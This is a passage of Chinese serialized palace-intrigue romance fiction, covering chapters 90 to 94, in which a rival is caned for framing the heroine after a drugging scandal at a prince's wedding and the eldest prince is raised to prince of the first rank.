屋内,姜黎婳正专注地为吕静雅施针,忽然觉得鼻子痒痒的,抬手揉了揉鼻子,继续给吕静雅施针,一边安抚正按着吕静雅不让她乱动的孟雪莲,“我先用银针缓解她的不适,一会儿解药来了,她喝下就会没事,舅母不必担心。”
孟雪莲忧心忡忡的点了点头,她此时根本无心问姜黎婳为何会医术的,一心只求女儿无事。
一盏茶的功夫后昭临拿着药回来,佟掌柜赶紧拿着去熬药了,姜黎婳把已经安静下来的吕静雅身上的银针按顺序拔下来,然后让孟雪莲给吕静雅喂药。
孟雪莲给吕静雅喂了药,看到吕静雅脸色在逐渐恢复了,她才松了口气,把担忧的劲儿换过去,孟雪莲心头的愤怒逐渐浮上心头,“苏清欢,以前她处处欺负静雅,我看在小姑子面子的份上不与她计较,这次我不会放过她的!”
姜黎婳瞧孟雪莲的脸色就知道她此时的心情,她叹了口气,“今日静雅也算是无妄之灾,苏清欢应该是想针对我。”
第90章 吕氏总算当人了?
孟雪莲听姜黎婳这话就知道她这是在自责。
她拉起姜黎婳的手,轻声道:“别人要来害你,你也防不胜防,你不要自责,要怪就怪那些居心叵测的人,明明是个鸠占鹊巢的贱婢,还生出这么多脏心思来害你,你娘真的是眼盲心瞎。”
孟雪莲说到这里眉头微微皱了皱,“不过我今日瞧着你娘那模样像是有些后悔了,以后若她来找你求原谅的话,你会原谅她吗?”
提起原谅这个词,姜黎婳脸上的神情变得淡漠,她抬了抬眼皮,轻嗤,“如今的局面是她自己选择的,她没资格后悔,我也不会原谅。”
“对。”孟雪莲点了点头,她看了一眼躺在床上的女儿,拉着姜黎婳走到旁边的圆桌旁边坐下,“我这么说若是你外祖母听到了定然不高兴,但是舅母今儿个还是要说,你娘以前就是眼盲心瞎拧不清的,你不认她对你来说只有好处,没有坏处。”
姜黎婳知道以吕夫人的行事作风自己这个舅母一定对吕夫人颇有微词,但是没想到这舅母是这样看待吕夫人的。
不过吕夫人的确眼盲心瞎拧不清。
“不过你也别太难过了,你与他们苏家的亲缘浅,那说明苏家没福气。”孟雪莲拍了拍姜黎婳的手,轻声道:“就如今日的事情,因为他们选择了苏清欢当自己的女儿,就要承受今日苏清欢这事为他们带来的后果。”
皇宫,御书房。
帝后沉着脸坐在高位上,其余包括慧贵妃、淑妃和冯丞相在内的其他人全都跪在大殿中央的。
皇后虽然沉着脸,心头却一直在看慧贵妃的笑话,今天这种日子这二皇子都管不住自己的下半身,冯茹英还想害自己的儿子,推她那个只会用下半身思考的儿子上位?
这是在做梦呢?
皇帝也阴沉着一张脸没有说话,他看着跪在地上的二儿子和跪在地上的两个妃子,皱着眉头收回目光。
他一直知道二儿子不成器,他以为让二儿子成亲,选一个管得住二儿子的人管管,二儿子就能收收心,谁知道这不争气的东西,竟然在大婚之日闹出这么大的笑话!
而且还玩得那么花!
不只是与两个女子做出这等丢脸的事情,其中一个还是前些日子才被申饬过的苏清欢。
他是怎么看得上那种女人的?
下面跪着的慧贵妃和淑妃两人一直在观察皇帝的脸色,瞧着皇帝的脸色实在不好,两人大气都不敢出。
淑妃只能把求助的目光放在皇后身上,皇后感受到了淑妃的目光,但却并未看淑妃一眼,她自从猜到淑妃的心思之后,就一直想找机会收拾淑妃了,只是这么些日子始终没有机会,今天她好不容易看到淑妃要吃瘪了,她高兴都来不及,还会去帮淑妃?
她又不蠢。
冯胜文也实在是头疼,他如今在朝中行事好多事情都被遏制,做起事情来没有以前那么顺心如意,皇帝给二皇子选的婚事是圣旨赐婚,他们没法更改,所以他另外选择了几个条件不错的人打算让外孙纳为侧妃和侍妾,没成想外孙竟然在今日闹出这么大的笑话!
“父皇!儿臣是被这两个贱人陷害的啊!”楚明暄跪在地上往前挪了两步,他憎恶的转身指着苏清欢,“是那个女人,她说有话要与儿臣说,儿臣见她一个弱女子就未曾设防,谁知道这个女人竟然从后面敲晕了儿臣,还给儿臣用了如意香。”
皇帝眉头皱得更厉害了。
这臭小子竟然对自己中了什么药都那么清楚?
这说明什么?说明那药可能就是他自己的!
“二皇子真是厉害,竟然闻了一下就知道自己中了什么媚药。”皇后拿着手帕掩住嘴唇,“但现在不是推卸责任的时候,如今事情已经发生,你们三个当事人想好要如何解决了吗?”
皇帝也因为皇后这句话彻底黑了脸,他操起手边的茶盏朝楚明暄砸了过去,“你大喜之日不与自己的皇子妃待在一起,也不去前院待客,却因为一个女人有话要对你说便不设防的过去,造成现在这个局面你还想怪别人?”
楚明暄张了张嘴,想说这贱人给他的诱饵实在是太大了,姜黎婳那样的美人儿的确值得他丢下那些宾客和母夜叉去冒一下险啊。
谁知道自己竟然上当了!
但是这些他都不敢说,若让父皇知道他还在肖想大皇子妃,可能今天真的会死一死了。
“陛下!我们真的是被姜黎婳陷害的!是姜黎婳让我喊二皇子过去的!是姜黎婳陷害我们的!”苏清欢跪直身子嘶声吼道。
皇帝眼里闪过一丝杀意。
皇后闻言怒不可遏,她拂袖而起,厉声对着苏清欢道:“大胆苏氏!胆敢构陷皇室,其罪当诛!”
“我没有构陷,你们可以问蓝小姐究竟是不是!”苏清欢看着看向蓝雪玲,“雪玲妹妹,你说是吧?”
蓝雪玲垂着头不敢说话。
淑妃见状低声对着蓝雪玲道,“雪玲,你不要怕,把你知道的都说出来,陛下和皇后娘娘都会为你做主的。”
“的确。”皇后见淑妃说话了,她一瞬间恢复了冷静,她慢慢地坐回位置上,看着蓝雪玲,“若你说的是实话,本宫和皇上定会给你一个交代,但是若你们敢为了遮掩你们所做之事而构陷大皇子妃,那本宫和陛下也绝不轻饶!”
蓝雪玲更不敢说了。
皇后见状冷哼了一声。
皇帝这时候拍了拍自己的膝盖,抬眸看向苏清欢,语气淡淡,“你说说你与大皇子妃关系已经那么僵硬了,她为何会让你传话去找二皇子?”
皇帝的语气明明很淡,但是其他人已经知道皇帝这是动怒了。
苏建明疾步上前一巴掌狠狠甩在她脸颊上,厉声骂道,“孽障!到现在你还执迷不悟!我们苏家的脸都被你丢尽了!”
苏清欢被苏建明这一巴掌直接打到嘴角流血。
她颤抖着手捂住火辣辣的脸颊,面对众人的质问,她已经丧失了思考的理智,她嘶声力竭地吼道:“我所言句句属实!你们若不信,大可去二皇子府问问那叫喜儿的婢女!分明是姜黎婳她耐不住寂寞,想勾引二皇子!”
从头到尾都没有出声的吕氏这时候轻声问她,“二皇子府的婢女,你怎么知道她的名字?”
苏清欢身形一顿,随即猛地回头,通红的双眼死死盯着吕氏,颤声道:“娘...您竟也不信我?”
吕氏没有理会她含着恨意的目光,她往前走了一步,居高临下的看着苏清欢,“你说你是怎么知道她的名字的?”
苏清欢嘶吼道,“你因为姜黎婳怀疑我?”
“是啊,夫人。”萧景宴缓缓偏头看向苏清欢,“你是如何知道二皇子府上婢女的名字的?”
第91章 苏清欢构陷大皇子妃杖则三十
被他们这样问,苏清欢不敢说话了,她认识喜儿自然是因为前世就和她有渊源,当时这个喜儿是楚明暄为了与她偷腥的时候更方便,而安排进大皇子府的婢女。
她今天实在是找不到人帮忙了,所以才想到前世在她身边伺候,又非常贪财的喜儿,她抱着试一试的态度去找喜儿,谁知喜儿为了那一百两银子,轻易就答应了。
但是这些她都不敢说,若是让这些人知道她们原本是要设计姜黎婳,后来又被姜黎婳反设计了,那她也不能活着走出去了。
苏清欢咬着嘴唇低声道,“我听姜黎婳叫她名字的。”
皇后闻言冷笑,看苏清欢的目光中也带着一丝杀意,这种女人真是留不得,但她今日所做的事情对皇家来说,又构不成死罪,毕竟她不是皇室中人,不过是一个外臣的儿媳罢了。
但是想到她一口咬定是姜黎婳陷害她们,皇后还是觉得心头堵着一口气无法平息,她侧首看着面色沉静但是眼神冰冷的皇帝,低声道,“陛下,不如就传那个喜儿来问话吧。”
皇帝闻言点了点头,“传喜儿。”
苏清欢听到皇帝传喜儿,眼里闪过一丝得逞的笑容,她抬眸看着还站在自己身旁的吕氏,低声道:“母亲,你一会儿就知道女儿说的是不是真的了,女儿被你这样冤枉,心头真的很难受。”
吕氏手指捏紧手中的手帕,她下意识地想去安抚苏清欢,说她受委屈了,可是却怎么也开不了口,因为她觉得姜黎婳根本不屑主动搭理苏清欢,又怎么可能去陷害苏清欢。
皇后瞧着吕氏那犹豫的动作和神情,她眼中闪过一丝嘲弄,接着轻嗤,“苏氏,如今证人还没到,你也别想用自己的片面之词构陷大皇子妃,若一会儿查明你为了自己脱罪攀咬大皇子妃,本宫不会再念及国公府的颜面,一定会杖则你。”
萧景宴听到皇后这话眉头皱了皱,看苏清欢的眼神也多了一丝杀意。
若不是因为苏清欢是自己明媒正娶的女人,他在知道苏清欢真实身世的时候,就把她给弄死了,省得给自己丢脸!
其他人此时也心思各异。
很快喜儿战战兢兢地从殿外低着头小步走了进来,她刚跪下给帝后磕了头,就听到皇帝冷漠的声音在自己头顶响起,“你说说今天是怎么回事。”
苏清欢眼底闪过志在必得的光芒,她早就交代过这个喜儿,不管那院子里面发生什么事情,都要咬死了姜黎婳想要勾引二皇子的事情,那样事成之后,她会再给她三百两的银子作为报酬。
喜儿这么贪财,定然不会错过这么多白银的。
喜儿跪在地上想着先前自己被人用刀抵着脖子用她全家人威胁她的那些话,她心头就在敲鼓,她跪在地上砰砰磕头,“是奴婢一时鬼迷心窍收了世子夫人和蓝小姐的银子帮她们拿到二皇子的媚药,奴婢再也不敢了!”
喜儿说着从怀中掏出一张百两银票举起来,“这是奴婢收到的银票,银票上有私印可作为证明,奴婢再也不敢了。”
她爱财是因为家人,若家没了,那些钱她拿着也没用。
“贱婢!你胡说八道!你和姜黎婳勾结在一起陷害我!”苏清欢听到喜儿的话立刻疯了,她目赤欲裂的跪直身子要去厮打喜儿,“你说话啊!是不是姜黎婳威胁...”
啪。
疯狂的苏清欢被这力道十足的一巴掌打得直接坐到地上,萧景宴冷冷地盯着苏清欢,厉声道:“苏氏你还没有疯够是吗?”
皇后冷眼看着这一幕,厉声道:“现在人证物证都有,苏氏意图构陷大皇子妃,毁大皇子妃清誉已是事实,拖出去杖则三十。”她说完眼神冰冷的看着萧景宴,冷声道:“至于她不守妇道,与蓝家小姐一同给二皇子下药一事,萧世子自己看着办吧,苏氏毕竟是萧世子你的媳妇。”
苏清欢听到自己要被杖则,她立刻怕了,上辈子她死之前也是被皇后打了一顿才浸猪笼的!
她一把抓住吕氏的手,哭着乞求,“母亲,你救救我!您快救救女儿啊!”
见吕氏无动于衷,苏清欢又去求苏建明,“爹,你不救我吗?你想让我娘伤心吗?若...”
“够了!”苏建明害怕苏清欢把他的事情都抖出来,厉声阻止了她,“你今日做出这种无法饶恕的事情,就算是我们求情也改变不了什么。”
苏清欢哭着还要说话,苏建明一把抢过吕氏手中的手帕塞进苏清欢嘴里,接着对两个要架着苏清欢去殿外受刑的太监道,“别让她的叫声吵到陛下和皇后娘娘。”
萧景宴冷眼看着这场景,他冷嗤了一声,对着帝后拱手,“陛下、皇后娘娘,苏氏已犯七出,臣回去准备休妻事宜,今日之事,是苏氏一人做的孽,与萧氏无关,你们要如何处置苏氏,我们萧家都没有任何怨言。”
皇帝摆了摆手没有说话。
萧景宴再次躬身慢慢退了出去。
他刚出去没一会儿外面传来杖则声和苏清欢闷哼的声音。
皇后听着外面传来的声音,心头闪过快意,接着她把目光放在苍白着一张脸的蓝雪玲身上,摇头叹了一声,“蓝小姐,你怎么如此糊涂。”
蓝雪玲忽然被皇后这么一叫,她下意识地抬眸朝皇后看去,皇后露出惋惜的神情,“你若喜欢二皇子,过了二皇子新婚,进宫求求你姑母,向本宫或者陛下进言,以你的出生和涵养,在二皇子府给二皇子当个侧妃也是可以的,你怎么会在他与二皇子妃大婚之日做出这种事情来。”
皇后说到这里叹了口气,“平白丢了自己的名声。”
慧贵妃闻言回眸狠狠地瞪了蓝雪玲一眼,厉声骂道:“这种不要脸的货色,本宫绝对不允许她进二皇子府的门!”
皇后闻言蹙眉,“慧贵妃,本宫知道你生气,但最该生气的人不是你,二皇子若立得起来,那她们两日今天就不会得逞,本宫可听说了,他今日进了洞房连合卺酒都没有和新娘子喝酒走了,出来之后没去前院待客,还闹出这么大的笑话,他自己的责任也不小!”
她说到这里脸色沉了下来,转而看向楚明暄,“今日之事你自己也有错!那如意香可是禁药!你说你府上怎么有的?”
皇帝听皇后这么问,脸色也沉了下来,他阴沉地盯着楚明暄,“逆子!竟然敢公然在府上用禁药!你还把不把律例放在眼里?皇室的脸都被你丢尽了!”
冯丞相还没来得及给二皇子求情就被皇帝又拉出来骂了一顿,“冯胜文!你身为两朝臣子一朝丞相,连自己的外孙都教不好?朕看你这个丞相之位也别坐了!”
第92章 鹬蚌相争,大皇子得利
冯胜文被皇帝这么一喝斥哪儿还顾得上给外孙求情,他扑通一声跪在地上,对着皇帝道:“陛下,二皇子是您的皇子,对臣来说亦是君,臣不敢对二皇子的事情置喙啊。”
言下之意就是您的儿子您都管不住,我哪儿敢管。
皇后闻言眉梢微微一挑,心想你以前可眉梢置喙啊,当然这话她是不会说出来滴。
皇帝闻言也没有动怒,他面色平静的把手抬起来在膝盖上拍了一下,看着跪在地上的冯胜文,慢条斯理的问,“你还知道他是朕的儿子啊?”
冯胜文心头一跳,猛地抬头看向皇帝,还没来得及为自己辩解就听皇帝继续道,“今后你若再敢插手二皇子的事情,那这皇帝的位子你就来坐吧。”
这是明着骂冯胜文大逆不道,说冯胜文想谋逆了。
冯胜文跪在地上连忙磕头,“臣不敢!求陛下明鉴啊!”
皇帝懒得理他,转而看向皇后,“二皇子做出这等有悖常伦的事情,该怎么处置,你这个当母后的来说说。”
“陛下!”一直没有出声的慧贵妃闻言猛地抬头大声喊道:“陛下,臣妾才是二皇子的亲生母亲啊!皇后娘娘她...”
“你也知道你是他的亲生母妃!”皇帝语气骤然冰冷,他冷冷的侧眸看向慧贵妃,厉声呵斥道,“身为一宫之主,后宫贵妃,你本应该协助皇后管好后宫,你倒好,就会争风吃醋了!养个儿子养嘚如此荒唐!现在还想给那逆子开脱!你教子不严也该被罚!”
皇帝说到这里眼眸一转,“慧贵妃教子不严,导致二皇子是非不分,犯下私藏禁药的大错,即日起褫夺其贵妃封号,贬为慧妃,俸禄酌减,以示惩戒。”
皇后眉眼微动,眼底的冰冷稍散。
慧贵妃不可置信地抬头看向皇帝,嘶声道,“陛下,您不能这么对臣妾,臣妾不服!”
“不服?那就去冷宫!”皇帝站起来目光冰冷的看着楚明暄,“还有你,私藏禁药是大罪,你还敢用来调情!简直是罪加一等!”说罢他侧眸看向执掌中书的冯丞相,冷声道:“拟旨,二皇子楚明暄为一己私欲私藏禁药,德不配位,令朕大为寒心,封为束郡王,望他以后能约束自己,别在给朕丢脸!”
皇帝走了两步,又停下脚步,继续冷声对冯丞相道,“大皇子楚御礼,秉性纯良、天姿英发、朕心甚慰即日封为御亲王,择日祭宗祠昭告天下!”
“陛下!”慧贵妃,哦!现在应该叫慧妃了,她嘶声吼道,“您不公平!”
“慧贵妃,你这话就说错了。”皇后抬眸看着撕心裂肺的慧妃,冷笑,“若单独封王,这不是对束郡王惩戒,而是嘉奖了。”
若与他儿一同封王,她的儿子是可御大极的御亲王,而楚明暄只是一个需要好好约束自己的束郡王,这才是真正地打了冯茹英的脸。
皇后忽然觉得自己憋在心里十几年的那口气吐出来了。
她看皇帝的眼神也多了一丝十几年不曾有的柔情,“陛下这么做也是为了让束郡王时刻约束自己,不要再肆意妄为了。”
皇帝见皇后如此懂自己,他欣慰的对皇后点了点头,“剩下的事情交给皇后你来处理了。”
皇后起身,“今日这事儿已经耽误陛下您处理朝政了,这蓝小姐所做之事虽然不体面,但好歹是蓝大人的孙女,是淑妃的侄女,而今日真正的受害者是二皇子妃,不如就让二皇子妃来做决定,看是留下这蓝小姐入束郡王府,还是让蓝小姐回家。”
“娘娘!”淑妃不可置信地抬眸看向皇后,“您要为雪玲做主啊!”
“淑妃。”皇后蹙眉看向淑妃,脸色微沉,“今日之事蓝小姐自己也有责任,你要本宫如何做主?本宫乃后宫之主,是所有皇子公主的母后,本宫就该公平行事,今日本宫若因为你偏袒了蓝小姐,你要二皇子妃如何看待我这个母后?”
一直跪在楚明暄身边的鲁卿秋闻言抬眸看向皇后,轻声道,“多谢母后。”她说罢看了蓝雪玲一眼,低声道:“殿下虽然犯下私藏禁药的大错,但今日这事儿也的确怪不了殿下,所以留不留蓝小姐在府上伺候,还得看殿下的意愿。”
楚明暄原本真的不待见鲁卿秋,但今日鲁卿秋行事的确有主母风范,且这个女人是在这大殿中唯一向着自己说话的人!
这些女人啊,果然都爱口是心非,先前在府上还信誓旦旦地说什么她不是因为喜欢他才嫁给他的话?
啧啧,他就要看这个女人能演到什么时候。
“儿臣是绝对不会娶这种女人到府上当侧妃的!”楚明暄义正言辞地说道,“儿臣虽然有些事情糊涂,但是今天不是她们陷害的话,也不会做出这么丢脸的事情来,儿臣才不会以德报怨娶她当侧妃!”
韦氏闻言立刻哭出了声音,她抬手就往心爱的女儿脸上打了一巴掌,“让你交友不慎!现在谁管你!”
吕氏:“......”
现在的她只觉得自己几十年的脸面全都丢干净了。
外面苏清欢的三十大板也打完了,太监拖着已经昏迷不醒的苏清欢进来,蓝雪玲看到苏清欢这模样,忽然捂着脸尖叫了出来,“不关我的事!我什么都不知道!我什么都不知道!你们不要打我...”
蓝雪玲像是受了什么刺激一样站起来,“我没有让人给她们下药,我没有...是苏清欢,她嫉妒大皇子妃,是她要陷害大皇子妃的,是她挑拨我的!是她说的只要给大皇子妃下药,让大皇子妃失去清誉,那大皇子就不会再喜欢她了...”
“你在胡说什么!”韦氏又打了蓝雪玲一巴掌,“你冷静点!”
蓝雪玲现在已经疯了,她根本听不进去韦氏的话,她推开韦氏站起来就往外面跑,“不关我的事,你们不要打我啊!”
皇后看着疯跑出去的蓝雪玲,心头大概也猜到了事情的经过是怎么回事,她眉头紧紧地皱了起来,语气晦暗不明,“看样子蓝小姐的确不用进束郡王府了。”
淑妃心头一沉,她站起来跟着韦氏一起追了出去。
皇后看着略显落魄的淑妃和韦氏两人的背影,她眉梢动了动,接着把目光放在一直没说话的蓝天群身上,“蓝大人,蓝小姐能做出今日这种事情还是你们管教不严,你们应该好好反省,回去找大夫给蓝小姐好好看看,若她病好了,还想如束郡王府,那就让淑妃给本宫递个话,本宫到时候会好好与束郡王妃说说的。”
......
吕氏和苏建明两人花了不少银子才请动宫中的公公帮忙把苏清欢抬出皇宫,他们还没把人抬上马车,定国公府的人就走了过来,对两人躬身道,“苏大人,吕夫人,世子派奴才过来接世子妃回府,世子说她一日没有休妻,夫人就是他的妻子,不管是死是活都应该回国公府。”
第93章 被钓成翘嘴
苏清欢满身是伤地被抬回定国公府,雪儿看到苏清欢这模样被吓得一时之间不知道该不该上前...
自从她从慎刑司被放回来之后,苏清欢对她的态度像是变了一个人一样,一开始安抚,逐渐疏远,动辄打骂,刻意打压...
但她依旧是苏清欢身边的大丫鬟。
她看着已经干涸的血迹,让院中的二等婢女去请府医,她则去打水给苏清欢清洗伤口。
二等婢女很快回来,“雪儿姐姐,世子说不让府医给夫人医治。”
雪儿心头一惊,她把手中沾着水的帕子递给二等婢女就抬步往外走去,刚到萧景宴的院子就听到里面曹氏的厉喝声传来,“你现在还在犹豫什么?那种贱人留在府上就是在给我们抹黑!赶紧写了休书把人丢出去!我现在看到那个贱人我就恶心!”
雪儿停下脚步,眼里露出恐惧的目光。
她是苏清欢的陪嫁婢女,若是苏清欢被休了,那她一定会和苏清欢一起被赶出国公府,到时候苏清欢肯定会报复她背叛她的事情。
想到这里雪儿慌了神,大夫不能请,苏清欢的身子不能好,否则自己绝对没有好果子吃。
雪儿转身快步回了院子。
二等婢女已经给苏清欢脱了衣服,并且清洗了一些伤口,雪儿凝视着苏清欢自下腰蜿蜒到大腿上那触目惊心的伤痕,她轻轻抿了抿唇,眼底掠过一抹决绝的狠厉。大小姐,这一切只能怪你自己惹恼了世子,并非我铁石心肠不愿为你请大夫医治,实在是世子不准府医为你医治。
......
吕氏回到家中脸上的神情彻底绷不住了,她捂着脸哭出声音,“家门不幸!今后我儿要如何做人啊!”
苏建明想到自己被皇帝训斥的那些话,脸色也阴沉下来,看到吕氏泣不成声的模样,他烦躁的揉了揉眉心,厉声呵斥道,“哭哭哭,你就知道哭!现在你倒是想一下办法啊,那萧景宴说了要回去写休书的,为什么忽然改变主意把清欢接回去了?”
“我怎么想办法?”吕氏的手在桌上狠狠一拍,“现在是她自己在别人的婚宴上做出了那种丢人现眼的事情,我能想什么办法?她现在就是被萧世子打死,我们也不能说一句怨言!”
“我看他敢!”苏建明听到女儿要被打死,立刻瞪眼骂道,“朗朗乾坤,天子脚下,清欢没有犯下死罪,他敢打死她?”
“娘!”苏承印焦急的声音从外面传来,人也随之快步走了进来,“怎么回事?清欢怎么会做出那种事情来?”
吕氏看到苏承印回来,她皱了皱眉头,低声责骂道,“你回来做什么?就快要秋闱了,你赶紧回国子监读书,跑回来做什么?”
吕氏心中一直都有一杆秤,若说苏清欢和姜黎婳比起来,苏清欢更重要的话,那苏清欢和她另外两个儿子比起来,就绝对没有儿子重要。
一个不是自己亲生的女儿,和亲生的儿子,她还是知道选谁的。
苏承印脸色不好,如今国子监人人都在议论今日二皇子府发生的那等丑事,甚至有些与他关系不好的世家子弟还会问他苏清欢是不是在家中的时候就这么放荡,还问他这个哥哥是不是也享受过苏清欢的服侍。
那些话简直不堪入耳,他现在根本不想回国子监。
“还不是都怪姜黎婳!”苏建明冷着脸骂道,“不管你们信不信,我相信清欢说的,就是姜黎婳要害她,这药说不定也是姜黎婳给她下的,就是报复我们选择了苏清欢没有选择她!”
苏承印眉头皱了皱,想起姜黎婳与苏家彻底断绝关系那日姜黎婳说的话,他低声道:“我一会儿去找她问清楚。”
“你不准去找她!”吕氏低声呵斥道,“我们家够乱了,你不准去找她!”
她脑海中全是那蓝小姐说的那些话,若真的是姜黎婳害她们变成那样的,那肯定是苏清欢想算计姜黎婳,反被姜黎婳算计了,这也是苏清欢技不如人。
“如今这件事情人证物证俱在,都说是苏清欢给二皇子下了药,才发生了那种荒唐事。”吕氏微微抬眼,目光深邃地望向苏建明,沉声道,“老爷,你别忘了你家中还有两个儿子未曾娶妻!”
苏建明迎上吕氏那带着警告意味的眼神,非但不心虚,反而厉声呵斥,“吕氏,真没想到你竟然这么铁石心肠,竟然要对清欢不管不顾!她可是你亲自养大的女儿啊!”
他说完拂袖就走,“你自己看着办吧!我出门巡视工部的事务了!”
吕氏瞧着又把烂摊子丢下走人的丈夫,忽然觉得心头发累。
恍惚间,她脑海中闪过无数次自己被丈夫丢下走人的画面...
“娘,我去找姜黎婳问清楚。”苏承印说罢转身就走,根本不给吕氏说话的机会。
.......
姜黎婳从墨宝斋出来就感觉楚御礼的情绪不好,她与他说话,他虽然也会回答,但是却和以前不一样了。
看着他那面色平静,但是明显不高兴的模样,她垂眸思考了一会儿,问,“殿下,你是在生气?”
她伸手指着自己的鼻子,“生我的气?”
楚御礼侧眸看了她一眼,叹气,“为夫在生我自己的气。”
“为何?”
楚御礼眼神落寞,“都怪我没能给足娘子你信任和底气,让娘子你遇事都不与我商量,甚至不喊我帮忙,今日若不是我派冽风他们暗中保护着你的话,是不是要事情结束了,娘子才会想起我来?”
姜黎婳低头,当时她的确没有想那么多,她只是觉得自己应该可以对付一个弱不禁风的皇子,和两个手无缚鸡之力的女子的。
见姜黎婳不说话,楚御礼脸垂下眼眸,黯然摇头,“娘子宁愿让一个外人帮忙,都不让人叫为夫帮忙,为夫这个丈夫做得实在是太失败了!”
他说着痛心疾首地拍了一下胸脯,“我真没用!”
姜黎婳赶紧拉着他的手,不让他打自己,“谁说殿下没用的,我就是知道你有派人暗中保护我,我才敢在二皇子府肆无忌惮的以其人之道还治其人之身啊,殿下你真的好厉害的。”
楚御礼垂眸看着她那拉着自己手腕的玉手,眼眸微动,“真的?”
“自然是真的,殿下你真的特别厉害的。”姜黎婳非常真诚地看着楚御礼的眼睛,“今天那情况若不是因为有冽风和沉鹤的话,我一个人肯定搞不定的,还是殿下你有先见之明,让他们一直在暗中保护我,我才能这么顺利的报复回去的。”
楚御礼嘴角微微翘起,“帮到你就行了。”
“可帮了我大忙了,殿下你是最厉害的。”姜黎婳笑着继续道。
楚御礼几乎瞬间被哄成了胎盘,他眼中的笑意是遮都遮不住,“为夫也没有那么厉害,不过是害怕我不在你身边的时候你受到伤害,所以才让他们暗中保护你的。”
第94章 为夫是不是要好好感谢娘子
把楚御礼哄好两人也到了大皇子府,下车之前,楚御礼牵着姜黎婳的手轻声道,“赵旭庭今日帮了你的忙,改日咱们一起在聚香楼设宴感谢一下他今日的仗义相助。”
姜黎婳想到今天为了把吕静雅从二皇子府完好无损地带出来,赵旭庭的确帮了大忙,她点头,“好,那我再准备点谢礼。”
“这些你不用操心,你说一下他的喜好,我让昭临去准备就是。”楚御礼牵着姜黎婳下车。
姜黎婳走下马车,眉头微蹙,“喜好啊?”
那人应该就喜欢吃喝玩乐吧?以前他们还在江南的时候,这人就爱把她骗出去吃好吃的,她可以说,什么翻墙爬树这些不正经的技能,她都是跟赵旭庭学会的。
“娘子与他青梅竹马,不知道他喜欢什么?”楚御礼侧首看着姜黎婳,眼神放光。
姜黎婳感受到他的目光,忽然福至心灵,她蹙眉摇头,“我和他不算太熟,自然不知道他喜欢什么。”
楚御礼双唇紧抿压着自己的唇角,几息之后,他才挑眉道,“那我让昭临来准备。”
姜黎婳轻笑着颔首,“那就交给你啦。”
两人相携往台阶上走去,刚走上台阶,身后就传来福清的声音,“大殿下,请留步!”
两人停下脚步回头看去,福清手臂搭着拂尘快步走过来,笑着给两人躬身行礼,“奴才在这儿恭贺大皇子和大皇子妃了。”
楚御礼抬眼看向福清身后跟着的几个太监,其中一个太监手中端着托盘,里面有圣旨。
楚御礼让福清起身,“进府再说。”
福清笑着应是。
几人进了前厅,福清赶紧道:“今日二皇子府之事让皇上龙颜大怒,申饬了二皇子和慧妃,慧妃被降了位份,二皇子也被封了束郡王,陛下说希望束郡王以后好好约束自己,不要再做出给皇室丢人的事情来。”
楚御礼眉梢微动,抬眸看向福清伸手那个捧着圣旨的太监,“这是封王圣旨?”
福清应是,笑着从太监手中取过圣旨,“大殿下、皇子妃接圣旨吧。”
前厅所有人都跪在地了上,福清展开圣旨,“奉天承运,皇帝诏曰:
朕膺昊天之眷命,临御万方,夙夜兢兢,惟求社稷安康、宗庙永固。皇长子楚御礼,自幼敏而好学,博通经史,胸藏韬略;胆略过人。处世恭谦有礼,待人仁厚宽和,甚得臣民之心。
朕念其德才兼备,堪担重任,为固皇室根本,泽被后世,特晋封楚御礼为御亲王。赐金册金宝,增食邑万户,世袭罔替。
望尔恪守臣节,忠心事国,辅佐朝廷,协和宗亲,为皇室藩屏,保我山河永固,黎民咸宁。
钦此!”
福清念完之后把圣旨合起来,笑着对楚御礼道,“恭贺御王殿下,这是陛下亲自写下圣旨让中书摘抄的,无论是您名字中的御还是封号的御,都可见陛下对您寄予厚望呢。”
楚御礼感动的对着福清点了点头,在地上磕了头,才抬手道:“儿臣接旨,谢父皇隆恩,儿臣定不负父皇重望。”
楚御礼接过圣旨,伸手扶着姜黎婳一同站起来,又看了昭临一眼,昭临立刻拿着一袋钱袋子递给福清,福清慌忙推拒,“老奴做的都是老奴分内的事情,不敢拿御王殿下的银钱。”
姜黎婳轻笑道,“这天气暑热,福清公公您就拿着这些银钱去买点甜水给大家解解暑,莫要推拒了。”
福清这才接下来,因两人好意,福清又停留了片刻,对两人道,“那位世子夫人可不是个省油的灯,被逮了正着,还在殿上攀咬王妃,不过好在束郡王府上的那婢女喜儿是个聪明的,没有因为收了苏氏的银钱就跟着苏氏一同咬王妃一口,不过啊,就怕这苏氏没了脸皮,以后再来府上闹。”
姜黎婳闻言并不算意外,她轻笑,“苏清欢以前在苏家的时候就处处与我为难,如今遇到这种事,想拉我在下水,意料之中。”
只是那喜儿为何会帮她说话?
姜黎婳回眸看了楚御礼一眼,后者伸手拍了拍她的头发,朝她一笑。
福清瞧两人的模样笑着道,“那奴才回宫给陛下复命了。”
送走福清,楚御礼把圣旨递给昭临,就拉着姜黎婳回了梨月居,进了屋中,两人走到软榻上坐下,姜黎婳给楚御礼斟茶,“殿下,那喜儿是怎么回事?”
她看的小说中,提起过喜儿,是他死后,二皇子安排到大皇子府上的婢女,她绝对不可能是楚御礼的人。
楚御礼抿了一口娘子亲自倒的茶水,眼里难掩得意,“娘子都说了为夫有先见之明,为夫自然要为娘子把事情都给处理好才是。”
贪财之人更惜命,那婢女既然愿意为了钱财做尽坏事,那自然也会为了性命背叛钱财。
用她一人的性命威胁不成,那就用她全家人的性命威胁,有贪欲又惜命的人,最容易被威胁了。
姜黎婳其实也想过苏清欢会攀咬她,甚至也预想到了她可能会买通那个婢女一同攀咬她,她已经想到了解决之法,才会报复回去,没想到他竟然也想到了那个婢女,还帮她处理好了。
“多谢殿下了,今日若不是殿下,妾身...”
“福星娘子可别这么多。”楚御礼站起来笑着对姜黎婳鞠了一礼,“是为夫要感谢娘子才是,今日若不是娘子以其人之道还治其人之身,为夫也不能捡一个亲王来当。”
若不出意外的话,封王起码是两年后的事情了,而且还得是他亲自做出点政绩或者立点军功才能得到亲王称号。
今天这亲王之位,可以说真的是捡来的。
他甚至可以想象那对母子此时那震怒的表情。
姜黎婳先前还没有想这么多,此时听楚御礼这么说,她眉眼微动,“嗯,王爷说的是,你可娶了一个好媳妇,不然你啊,可就惨咯。”
不但会早早被害死,媳妇还会红杏出墙!
她可真是一个福星呢。
楚御礼很少看到姜黎婳这种俏皮动人的模样,特别是自从他和苏家断绝了关系之后就更少看到了,更别说那次溪中胡闹之后...
想到那之后自己就各种被防备,再看到现在在自己面前巧言笑兮的美人,楚御礼弯着身子,忽然伸手勾住姜黎婳的腰肢往自己面前一勾,前腹贴上她的腰肢,声音喑哑,“那为夫是不是要好好感谢一下娘子才是?”
